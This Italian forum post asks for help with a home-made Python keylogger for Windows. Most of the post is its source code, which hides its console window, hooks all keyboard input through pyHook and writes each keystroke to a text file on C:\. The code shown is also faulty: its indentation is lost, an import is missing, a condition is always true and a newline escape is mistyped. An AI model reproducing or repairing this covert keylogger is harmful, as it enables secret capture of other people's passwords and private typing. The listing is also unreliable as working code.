Ciao a tutti, mi sto cimentando nella creazione di un Keylogger che salvi gli input della tastiera in un file di testo situato in C:\ utilizzando Python...
I codici che inserisco su PythonWin sono i seguenti:
CODE:
import win32gui
import os
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
buffer=f.read()
f.close()
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
if os.path.isfile('c:\output.txt') == False:
f=open('c:\output.txt','w')
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Quando lo apro non fa nulla, compare solo una finestra per meno di un secondo e poi scompare, ho salvato il file in C:\ come "logger.py"...
Ho provato ad aprirlo dal prompt dei comandi, ma riscontra un errore:
C:\>logger.py
File "C:\logger.py", line 13
if event.Ascii==5:
^
IndentationError: expected an indented block (Previsto un blocco indentato)
Mi aiutate?? Grazie anticipamente..=D